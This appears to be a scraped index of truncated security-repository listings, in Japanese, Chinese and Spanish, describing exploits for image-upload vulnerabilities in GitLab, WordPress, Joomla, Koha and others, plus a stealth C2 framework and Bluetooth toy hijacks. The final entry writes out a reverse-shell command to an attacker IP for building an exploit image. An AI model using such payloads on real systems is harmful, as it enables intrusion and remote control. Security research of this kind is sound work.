RISE-Ultimate_Project_Manager_e_CRM

CVE-2025-3855 - RISE Ultimate Project Manager - IDOR セキュリティ脆弱性: IDOR（安全でない直接オブジェクト参照） 影響を受けるコンポーネント: プロフィール画像アップロードエンドポイント、teammembers コントローラー ソフトウェア: RISE - Ultimate Project Manager & CRM ベンダー: codecanyon バージョン: 3.8.2 CVE ORG : https://vulners.com/cve/CVE-2025-3855 NIST:...

cve-2022-44268

HackTheBox Pilgrimage 向けに調整されたエクスプロイト cve-2022-44268 を使用して、入力ファイル内のプロファイル値に入力ファイルリストからのファイル名を追加し、Burpsuite（既に含まれている）からの入力 request.req ファイルを使用して画像ファイルアップロードを更新し、各変更された画像をアップロードし、返された URL から返された画像をダウンロードしてファイルコンテンツを抽出し、それを入力ディレクトリに配置する自動 Python スクリプト。 root@kitploit: $ ./cve-2022-44268.py usage:...

CVE-2021-43617

CVE-2021-43617 これは PHP Laravel 8.70.1 の Cross Site Scripting XSS から Cross Site Request Forgery CSRF への脆弱性の再現です 説明 この脆弱性は、Laravel の画像ファイルアップロード機能をバイパスして、Web サーバー上に任意のファイルをアップロードできることを悪用します。これにより、任意の JavaScript を実行し、CSRF トークンをバイパスすることが可能になります 再現手順: 画像アップロードフォームを表示する Laravel 8.7. アプリケーションの作成 フォームの...

PoC-RCE-Rukovoditel

PoC-RCE-Rukovoditel CVE-2020-11819 および CVE-2020-15946 の概念実証です。Rukovoditel 2.4.x、2.5.x、2.6.1 でテスト済みです。 説明: このエクスプロイトには 2 つの実行モードがあります。セッション固定化の脆弱性 CVE-2020-15946 を利用する方法と、任意のプロファイルの任意のアカウントのアクセス認証情報を利用する方法です。 --type L オプションを使用すると、このスクリプトは悪意のあるリンクを作成します。被害者がブラウザでそのリンクにアクセスすると、任意のセッション ID...

CVE-2021-23132

CVE-2021-23132 画像アップロードを意図していないcommediaの許可パスを利用したRCE。 CVE-2020-24597 commediaのディレクトリトラバーサルによるRCE 2つのCVEは同一のものです。 PoC（完全版） 影響を受けるバージョン：Joomla core =3.9.24 必要なユーザー権限：管理者アカウント（スーパーユーザーではない） 権限の取得：スーパーユーザーを作成し、その後RCEを実行します。 Joomlaにおけるリモートコード実行（RCE） 認証情報を使用して cve-2021-23132.py を実行し、RCEリンクにアクセスします：...

CVE-2025-54962

🔥 CVE-2025-54962 — OpenPLC Runtime Webserver における安全でないファイルアップロード OpenPLC Runtime ≤ 2024-12-31 — 格納型XSS、CSRF 📌 概要 OpenPLC Runtime webserver（リリース版: 2024-12-31）に脆弱性を発見しました。認証済みユーザーがプロフィール画像として任意のファイル（例: .html、.svg）をアップロードできることを可能にします。これらのファイルは /static/ ディレクトリに保存され、認証なしで...

shining-mask

Shining Mask Hacks Este repositorio contiene código e instrucciones para crear un controlador personalizado de Bluetooth de Baja Energía BLE para la Shining LED Mask que cambia automáticamente la imagen facial de cualquier máscara dentro del alcance BLE. Este repositorio es un complemento de...

QuickResponseC2

機能 - 使い方 - デモ - ワークフロー概要 - TODO QuickResponseC2 QuickResponseC2 は、中間の HTTP/S サーバーを介して攻撃者と被害マシン間の間接的かつ秘匿的な通信を可能にする、ステルスな Command and Control C2 フレームワークです。すべてのネットワークアクティビティは画像のアップロードとダウンロードに限定されるため、従来の IPS/IDS システムによる検出が困難であり、セキュリティ研究やペネトレーションテストに理想的なツールです。 機能: QRコードを介したコマンド実行 :...

CVE-2021-22205

CVE-2021-22205 通过 Gitlab CE/EE 上的 exiftool 实现预认证远程代码执行 CVE 概要 GitLab 使用 ExifTool 扫描每个 tiff/jpeg/jpg 文件，以移除任何未列入白名单的标签。 但由于 ExifTool 并不根据文件扩展名来判断文件类型，而是根据文件内容，这使得攻击者可以上传任意文件，将其重命名为 tiff/jpeg/jpg 后缀，并"滥用" ExifTool 支持的任何解析器。 在解析 DjVu 文件时，ExifTool 会评估 DjVu 注释令牌以转换 C 转义序列。 受影响版本 Gitlab CE/EE = 11.9 =...

CVE-2019-8943

CVE-2019-8943 WordPress 5.0.0 - 图片远程代码执行 使用Python对CVE-2019-8942和CVE-2019-8943的利用 : ExploitDB : https://www.exploit-db.com/exploits/49512 针对metasploit的原始利用 : WordPress Core 5.0.0 - 裁剪图片Shell上传 Metasploit : https://www.exploit-db.com/exploits/46662 视频 : 描述:...

CVE-2019-16113-Dockerfile

Vulnerabilidad de cruce de directorios de Bludit CVE-2019-16113 Bludit-3.9.2 es un CMS ligero que solo necesita un entorno LAMP para funcionar. Al cargar imágenes, Bludit verifica la extensión del archivo pero no lo elimina a tiempo, y un atacante puede lograr un cruce de directorios controlando ...

CVE-2024-36057

CVE-2024-36057 — Koha 图书馆软件 CVE ID： CVE-2024-36057 产品： Koha 图书馆软件 漏洞类型： 操作系统命令注入 CWE-78 CVSS 评分： 8.7（高危）需认证 受影响版本： 低于 22.05.22 致谢： Karolis Narvilas 描述 Koha 是一个开源集成图书馆系统。在 tools/upload-cover-image.pl 的封面图片上传功能中存在命令注入漏洞。该应用程序使用 qx/unzip $filename -d $dirname/ 来解压上传的 ZIP 压缩包，但未对文件名参数进行清理。...

CVE-2026-11112-XXE-via-SVG-Image-Upload

CVE-2026-11112 – 通过 SVG 图片上传实现 XXE 程序代码（Python Flask + XML 解析器） root@kitploit: xxeuploadserver.py - Uploads SVG, renders with lxml resolving entities from flask import Flask, request from lxml import etree app = Flaskname @app.route'/upload', methods='POST' def uploadsvg: svgdata = request.data...

smart-sketcher-upload

smART Sketcher 2.0 - 蓝牙认证绕过 CVE-2026-0842 | BLE 接口缺少认证 概述 smART Sketcher 2.0 是一款支持蓝牙的玩具投影仪，可让儿童描摹图像。其蓝牙连接没有任何认证机制——范围内的任何人都可以连接并向设备推送图像，无需配对或通知。 演示 问题 设备通过蓝牙广播为“smART Sketcher 2.0” 连接无需配对 发送命令或图像无需认证 有人连接时无任何通知 30 英尺（约 9 米）外即可生效 这意味着公寓楼、公园或公共空间中的任何人都可以在家长不知情的情况下向儿童玩具推送内容。 使用方法 root@kitploit: pip...

-CVE-2026-1657

CVE-2026-1657 CVE-2026-1657 漏洞利用：通过 'epuploadfilemedia' AJAX 端点进行未认证图片上传 使用方法 python3 ./CVE-2026-1657.py https://site.com/ labrat.jpeg...

CVE-2026-86749

Snipe-IT versions put... call still caused the application to delete the previous image via deleteExistingImage and to reassign and persist the model's image reference to the new filename, destroying the existing image and leaving the database row pointing at a file that was never written. A mirr...

CVE-2026-86749

Snipe-IT versions up to 8.6.3 contain a data-loss flaw in ImageUploadRequest::handleImages() . The application does not check the return value of Storage::disk('public')->put() or Storage::delete() , so when a storage backend transiently fails (e.g., an S3 network error, filesystem permission ...

CVE-2026-86749 snipe-it before 8.7.0 Data Loss via Failed Image Write

Snipe-IT versions put... call still caused the application to delete the previous image via deleteExistingImage and to reassign and persist the model's image reference to the new filename, destroying the existing image and leaving the database row pointing at a file that was never written. A mirr...

EUVD-2026-74926

Snipe-IT versions put... call still caused the application to delete the previous image via deleteExistingImage and to reassign and persist the model's image reference to the new filename, destroying the existing image and leaving the database row pointing at a file that was never written. A mirr...

CVE-2021-22205-getshell

CVE-2021-22205-getshell CVE-2021-22205-getshell テストバージョン エクスプロイトコマンドの生成 root@kitploit: echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh djvumakeを使用してエクスプロイト画像を生成 root@kitploit: import os payloads= "echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1'...